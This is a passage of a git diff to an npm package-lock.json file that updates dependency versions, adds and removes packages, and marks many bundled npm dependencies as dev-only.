"resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
@@ -8467,6 +11795,7 @@
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
"integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=",
+ "dev": true,
"requires": {
"brace-expansion": "^1.1.7"
}
@@ -8477,13 +11806,14 @@
"integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
},
"minimist-options": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.0.2.tgz",
- "integrity": "sha512-seq4hpWkYSUh1y7NXxzucwAN9yVlBc3Upgdjz8vLCP97jG8kaOmzYrVH/m7tQ1NYD1wdtZbSLfdy4zFmRWuc/w==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz",
+ "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==",
"dev": true,
"requires": {
"arrify": "^1.0.1",
- "is-plain-obj": "^1.1.0"
+ "is-plain-obj": "^1.1.0",
+ "kind-of": "^6.0.3"
},
"dependencies": {
"is-plain-obj": {
@@ -8494,6 +11824,41 @@
}
}
},
+ "minipass": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.3.tgz",
+ "integrity": "sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ },
+ "dependencies": {
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
+ "minizlib": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
+ "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+ "dev": true,
+ "requires": {
+ "minipass": "^3.0.0",
+ "yallist": "^4.0.0"
+ },
+ "dependencies": {
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
"mississippi": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
@@ -8537,6 +11902,7 @@
"version": "0.5.5",
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
"integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+ "dev": true,
"requires": {
"minimist": "^1.2.5"
}
@@ -8563,7 +11929,8 @@
"ms": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=",
+ "dev": true
},
"multicast-dns": {
"version": "6.2.3",
@@ -8623,87 +11990,11 @@
"integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=",
"dev": true
},
- "nconf": {
- "version": "0.10.0",
- "resolved": "https://registry.npmjs.org/nconf/-/nconf-0.10.0.tgz",
- "integrity": "sha512-fKiXMQrpP7CYWJQzKkPPx9hPgmq+YLDyxcG9N8RpiE9FoCkCbzD0NyW0YhE3xn3Aupe7nnDeIx4PFzYehpHT9Q==",
- "requires": {
- "async": "^1.4.0",
- "ini": "^1.3.0",
- "secure-keys": "^1.0.0",
- "yargs": "^3.19.0"
- },
- "dependencies": {
- "async": {
- "version": "1.5.2",
- "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz",
- "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo="
- },
- "cliui": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
- "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=",
- "requires": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wrap-ansi": "^2.0.0"
- }
- },
- "invert-kv": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
- "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY="
- },
- "lcid": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
- "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=",
- "requires": {
- "invert-kv": "^1.0.0"
- }
- },
- "os-locale": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
- "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=",
- "requires": {
- "lcid": "^1.0.0"
- }
- },
- "wrap-ansi": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
- "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=",
- "requires": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1"
- }
- },
- "y18n": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz",
- "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE="
- },
- "yargs": {
- "version": "3.32.0",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.32.0.tgz",
- "integrity": "sha1-AwiOnr+edWtpdRYR0qXvWRSCyZU=",
- "requires": {
- "camelcase": "^2.0.1",
- "cliui": "^3.0.3",
- "decamelize": "^1.1.1",
- "os-locale": "^1.4.0",
- "string-width": "^1.0.1",
- "window-size": "^0.1.4",
- "y18n": "^3.2.0"
- }
- }
- }
- },
"needle": {
- "version": "2.5.2",
- "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.2.tgz",
- "integrity": "sha512-LbRIwS9BfkPvNwNHlsA41Q29kL2L/6VaOJ0qisM5lLWsTV3nP15abO5ITL6L81zqFhzjRKDAYjpcBcwM0AVvLQ==",
+ "version": "2.6.0",
+ "resolved": "https://registry.npmjs.org/needle/-/needle-2.6.0.tgz",
+ "integrity": "sha512-KKYdza4heMsEfSWD7VPUIz3zX2XDwOyX2d+geb4vrERZMT5RMU6ujjaD+I5Yr54uZxQ2w6XRTAhHBbSCyovZBg==",
+ "dev": true,
"requires": {
"debug": "^3.2.6",
"iconv-lite": "^0.4.4",
@@ -8711,17 +12002,19 @@
},
"dependencies": {
"debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dev": true,
"requires": {
"ms": "^2.1.1"
}
},
"ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "dev": true
}
}
},
@@ -8737,15 +12030,11 @@
"integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==",
"dev": true
},
- "netmask": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/netmask/-/netmask-1.0.6.tgz",
- "integrity": "sha1-ICl+idhvb2QA8lDZ9Pa0wZRfzTU="
- },
"nice-try": {
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
- "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ=="
+ "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==",
+ "dev": true
},
"no-case": {
"version": "2.3.2",
@@ -8830,6 +12119,15 @@
"vm-browserify": "^1.0.1"
},
"dependencies": {
+ "browserify-zlib": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz",
+ "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
+ "dev": true,
+ "requires": {
+ "pako": "~1.0.5"
+ }
+ },
"buffer": {
"version": "4.9.2",
"resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
@@ -8841,6 +12139,12 @@
"isarray": "^1.0.0"
}
},
+ "pako": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
+ "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
+ "dev": true
+ },
"punycode": {
"version": "1.4.1",
"resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
@@ -8850,9 +12154,9 @@
}
},
"node-releases": {
- "version": "1.1.55",
- "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.55.tgz",
- "integrity": "sha512-H3R3YR/8TjT5WPin/wOoHOUPHgvj8leuU/Keta/rwelEQN9pA/S2Dx8/se4pZ2LBxSd0nAGzsNzhqwa77v7F1w==",
+ "version": "1.1.71",
+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.71.tgz",
+ "integrity": "sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg==",
"dev": true
},
"node-sass": {
@@ -8911,6 +12215,7 @@
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/node.extend/-/node.extend-2.0.2.tgz",
"integrity": "sha512-pDT4Dchl94/+kkgdwyS2PauDFjZG0Hk0IcHIB+LkW27HLDtdoeMxHTxZh39DYbPP8UflWXWj9JcdDozF+YDOpQ==",
+ "dev": true,
"requires": {
"has": "^1.0.3",
"is": "^3.2.1"
@@ -8994,7 +12299,8 @@
"normalize-url": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz",
- "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ=="
+ "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==",
+ "dev": true
},
"normalize.css": {
"version": "8.0.1",
@@ -9002,9 +12308,10 @@
"integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg=="
},
"npm": {
- "version": "6.14.7",
- "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.7.tgz",
- "integrity": "sha512-swhsdpNpyXg4GbM6LpOQ6qaloQuIKizZ+Zh6JPXJQc59ka49100Js0WvZx594iaKSoFgkFq2s8uXFHS3/Xy2WQ==",
+ "version": "6.14.13",
+ "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.13.tgz",
+ "integrity": "sha512-SRl4jJi0EBHY2xKuu98FLRMo3VhYQSA6otyLnjSEiHoSG/9shXCFNJy9tivpUJvtkN9s6VDdItHa5Rn+fNBzag==",
+ "dev": true,
"requires": {
"JSONStream": "^1.3.5",
"abbrev": "~1.1.1",
@@ -9037,13 +12344,13 @@
"glob": "^7.1.6",
"graceful-fs": "^4.2.4",
"has-unicode": "~2.0.1",
- "hosted-git-info": "^2.8.8",
+ "hosted-git-info": "^2.8.9",
"iferr": "^1.0.2",
"imurmurhash": "*",
"infer-owner": "^1.0.4",
"inflight": "~1.0.6",
"inherits": "^2.0.4",
- "ini": "^1.3.5",
+ "ini": "^1.3.8",
"init-package-json": "^1.10.3",
"is-cidr": "^3.0.0",
"json-parse-better-errors": "^1.0.2",
@@ -9070,7 +12377,7 @@
"lodash.uniq": "~4.5.0",
"lodash.without": "~4.4.0",
"lru-cache": "^5.1.1",
- "meant": "~1.0.1",
+ "meant": "^1.0.2",
"mississippi": "^3.0.0",
"mkdirp": "^0.5.5",
"move-concurrently": "^1.0.1",
@@ -9085,11 +12392,11 @@
"npm-packlist": "^1.4.8",
"npm-pick-manifest": "^3.0.2",
"npm-profile": "^4.0.4",
- "npm-registry-fetch": "^4.0.5",
- "npm-user-validate": "~1.0.0",
+ "npm-registry-fetch": "^4.0.7",
+ "npm-user-validate": "^1.0.1",
"npmlog": "~4.1.2",
"once": "~1.4.0",
- "opener": "^1.5.1",
+ "opener": "^1.5.2",
"osenv": "^0.1.5",
"pacote": "^9.5.12",
"path-is-inside": "~1.0.2",
@@ -9113,7 +12420,7 @@
"slide": "~1.1.6",
"sorted-object": "~2.0.1",
"sorted-union-stream": "~2.1.3",
- "ssri": "^6.0.1",
+ "ssri": "^6.0.2",
"stringify-package": "^1.0.1",
"tar": "^4.4.13",
"text-table": "~0.2.0",
@@ -9134,6 +12441,7 @@
"JSONStream": {
"version": "1.3.5",
"bundled": true,
+ "dev": true,
"requires": {
"jsonparse": "^1.2.0",
"through": ">=2.2.7 <3"
@@ -9141,11 +12449,13 @@
},
"abbrev": {
"version": "1.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"agent-base": {
"version": "4.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"es6-promisify": "^5.0.0"
}
@@ -9153,57 +12463,56 @@
"agentkeepalive": {
"version": "3.5.2",
"bundled": true,
+ "dev": true,
"requires": {
"humanize-ms": "^1.2.1"
}
},
- "ajv": {
- "version": "5.5.2",
- "bundled": true,
- "requires": {
- "co": "^4.6.0",
- "fast-deep-equal": "^1.0.0",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.3.0"
- }
- },
"ansi-align": {
"version": "2.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"string-width": "^2.0.0"
}
},
"ansi-regex": {
"version": "2.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"ansi-styles": {
"version": "3.2.1",
"bundled": true,
+ "dev": true,
"requires": {
"color-convert": "^1.9.0"
}
},
"ansicolors": {
"version": "0.3.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"ansistyles": {
"version": "0.1.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"aproba": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"archy": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"are-we-there-yet": {
"version": "1.1.4",
"bundled": true,
+ "dev": true,
"requires": {
"delegates": "^1.0.0",
"readable-stream": "^2.0.6"
@@ -9212,6 +12521,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -9225,6 +12535,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -9233,38 +12544,46 @@
},
"asap": {
"version": "2.0.6",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"asn1": {
"version": "0.2.4",
"bundled": true,
+ "dev": true,
"requires": {
"safer-buffer": "~2.1.0"
}
},
"assert-plus": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"asynckit": {
"version": "0.4.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"aws-sign2": {
"version": "0.7.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"aws4": {
"version": "1.8.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"balanced-match": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"bcrypt-pbkdf": {
"version": "1.0.2",
"bundled": true,
+ "dev": true,
"optional": true,
"requires": {
"tweetnacl": "^0.14.3"
@@ -9273,6 +12592,7 @@
"bin-links": {
"version": "1.1.8",
"bundled": true,
+ "dev": true,
"requires": {
"bluebird": "^3.5.3",
"cmd-shim": "^3.0.0",
@@ -9284,11 +12604,13 @@
},
"bluebird": {
"version": "3.5.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"boxen": {
"version": "1.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-align": "^2.0.0",
"camelcase": "^4.0.0",
@@ -9302,6 +12624,7 @@
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
+ "dev": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@@ -9309,23 +12632,28 @@
},
"buffer-from": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"builtins": {
"version": "1.0.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"byline": {
"version": "5.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"byte-size": {
"version": "5.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"cacache": {
"version": "12.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"bluebird": "^3.5.5",
"chownr": "^1.1.1",
@@ -9346,23 +12674,28 @@
},
"call-limit": {
"version": "1.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"camelcase": {
"version": "4.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"capture-stack-trace": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"caseless": {
"version": "0.12.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"chalk": {
"version": "2.4.1",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-styles": "^3.2.1",
"escape-string-regexp": "^1.0.5",
@@ -9371,26 +12704,31 @@
},
"chownr": {
"version": "1.1.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"ci-info": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"cidr-regex": {
"version": "2.0.10",
"bundled": true,
+ "dev": true,
"requires": {
"ip-regex": "^2.1.0"
}
},
"cli-boxes": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"cli-columns": {
"version": "3.1.2",
"bundled": true,
+ "dev": true,
"requires": {
"string-width": "^2.0.0",
"strip-ansi": "^3.0.1"
@@ -9399,6 +12737,7 @@
"cli-table3": {
"version": "0.5.1",
"bundled": true,
+ "dev": true,
"requires": {
"colors": "^1.1.2",
"object-assign": "^4.1.0",
@@ -9408,6 +12747,7 @@
"cliui": {
"version": "5.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"string-width": "^3.1.0",
"strip-ansi": "^5.2.0",
@@ -9416,15 +12756,18 @@
"dependencies": {
"ansi-regex": {
"version": "4.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"string-width": {
"version": "3.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"emoji-regex": "^7.0.1",
"is-fullwidth-code-point": "^2.0.0",
@@ -9434,6 +12777,7 @@
"strip-ansi": {
"version": "5.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-regex": "^4.1.0"
}
@@ -9442,43 +12786,46 @@
},
"clone": {
"version": "1.0.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"cmd-shim": {
"version": "3.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"graceful-fs": "^4.1.2",
"mkdirp": "~0.5.0"
}
},
- "co": {
- "version": "4.6.0",
- "bundled": true
- },
"code-point-at": {
"version": "1.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"color-convert": {
"version": "1.9.1",
"bundled": true,
+ "dev": true,
"requires": {
"color-name": "^1.1.1"
}
},
"color-name": {
"version": "1.1.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"colors": {
"version": "1.3.3",
"bundled": true,
+ "dev": true,
"optional": true
},
"columnify": {
"version": "1.5.4",
"bundled": true,
+ "dev": true,
"requires": {
"strip-ansi": "^3.0.0",
"wcwidth": "^1.0.0"
@@ -9487,17 +12834,20 @@
"combined-stream": {
"version": "1.0.6",
"bundled": true,
+ "dev": true,
"requires": {
"delayed-stream": "~1.0.0"
}
},
"concat-map": {
"version": "0.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"concat-stream": {
"version": "1.6.2",
"bundled": true,
+ "dev": true,
"requires": {
"buffer-from": "^1.0.0",
"inherits": "^2.0.3",
@@ -9508,6 +12858,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -9521,6 +12872,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -9530,16 +12882,18 @@
"config-chain": {
"version": "1.1.12",
"bundled": true,
+ "dev": true,
"requires": {
"ini": "^1.3.4",
"proto-list": "~1.2.1"
}
},
"configstore": {
- "version": "3.1.2",
+ "version": "3.1.5",
"bundled": true,
+ "dev": true,
"requires": {
- "dot-prop": "^4.1.0",
+ "dot-prop": "^4.2.1",
"graceful-fs": "^4.1.2",
"make-dir": "^1.0.0",
"unique-string": "^1.0.0",
@@ -9549,11 +12903,13 @@
},
"console-control-strings": {
"version": "1.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"copy-concurrently": {
"version": "1.0.5",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^1.1.1",
"fs-write-stream-atomic": "^1.0.8",
@@ -9565,21 +12921,25 @@
"dependencies": {
"aproba": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"iferr": {
"version": "0.1.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"core-util-is": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"create-error-class": {
"version": "3.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"capture-stack-trace": "^1.0.0"
}
@@ -9587,6 +12947,7 @@
"cross-spawn": {
"version": "5.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"lru-cache": "^4.0.1",
"shebang-command": "^1.2.0",
@@ -9596,6 +12957,7 @@
"lru-cache": {
"version": "4.1.5",
"bundled": true,
+ "dev": true,
"requires": {
"pseudomap": "^1.0.2",
"yallist": "^2.1.2"
@@ -9603,21 +12965,25 @@
},
"yallist": {
"version": "2.1.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"crypto-random-string": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"cyclist": {
"version": "0.2.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"dashdash": {
"version": "1.14.1",
"bundled": true,
+ "dev": true,
"requires": {
"assert-plus": "^1.0.0"
}
@@ -9625,35 +12991,42 @@
"debug": {
"version": "3.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"ms": "2.0.0"
},
"dependencies": {
"ms": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"debuglog": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"decamelize": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"decode-uri-component": {
"version": "0.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"deep-extend": {
"version": "0.6.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"defaults": {
"version": "1.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"clone": "^1.0.2"
}
@@ -9661,52 +13034,62 @@
"define-properties": {
"version": "1.1.3",
"bundled": true,
+ "dev": true,
"requires": {
"object-keys": "^1.0.12"
}
},
"delayed-stream": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"delegates": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"detect-indent": {
"version": "5.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"detect-newline": {
"version": "2.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"dezalgo": {
"version": "1.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"asap": "^2.0.0",
"wrappy": "1"
}
},
"dot-prop": {
- "version": "4.2.0",
+ "version": "4.2.1",
"bundled": true,
+ "dev": true,
"requires": {
"is-obj": "^1.0.0"
}
},
"dotenv": {
"version": "5.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"duplexer3": {
"version": "0.1.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"duplexify": {
"version": "3.6.0",
"bundled": true,
+ "dev": true,
"requires": {
"end-of-stream": "^1.0.0",
"inherits": "^2.0.1",
@@ -9717,6 +13100,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -9730,6 +13114,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -9739,6 +13124,7 @@
"ecc-jsbn": {
"version": "0.1.2",
"bundled": true,
+ "dev": true,
"optional": true,
"requires": {
"jsbn": "~0.1.0",
@@ -9747,15 +13133,18 @@
},
"editor": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"emoji-regex": {
"version": "7.0.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"encoding": {
"version": "0.1.12",
"bundled": true,
+ "dev": true,
"requires": {
"iconv-lite": "~0.4.13"
}
@@ -9763,21 +13152,25 @@
"end-of-stream": {
"version": "1.4.1",
"bundled": true,
+ "dev": true,
"requires": {
"once": "^1.4.0"
}
},
"env-paths": {
"version": "2.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"err-code": {
"version": "1.1.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"errno": {
"version": "0.1.7",
"bundled": true,
+ "dev": true,
"requires": {
"prr": "~1.0.1"
}
@@ -9785,6 +13178,7 @@
"es-abstract": {
"version": "1.12.0",
"bundled": true,
+ "dev": true,
"requires": {
"es-to-primitive": "^1.1.1",
"function-bind": "^1.1.1",
@@ -9796,6 +13190,7 @@
"es-to-primitive": {
"version": "1.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"is-callable": "^1.1.4",
"is-date-object": "^1.0.1",
@@ -9804,22 +13199,26 @@
},
"es6-promise": {
"version": "4.2.8",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"es6-promisify": {
"version": "5.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"es6-promise": "^4.0.3"
}
},
"escape-string-regexp": {
"version": "1.0.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"execa": {
"version": "0.7.0",
"bundled": true,
+ "dev": true,
"requires": {
"cross-spawn": "^5.0.1",
"get-stream": "^3.0.0",
@@ -9832,37 +13231,40 @@
"dependencies": {
"get-stream": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"extend": {
"version": "3.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"extsprintf": {
"version": "1.3.0",
- "bundled": true
- },
- "fast-deep-equal": {
- "version": "1.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"fast-json-stable-stringify": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"figgy-pudding": {
"version": "3.5.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"find-npm-prefix": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
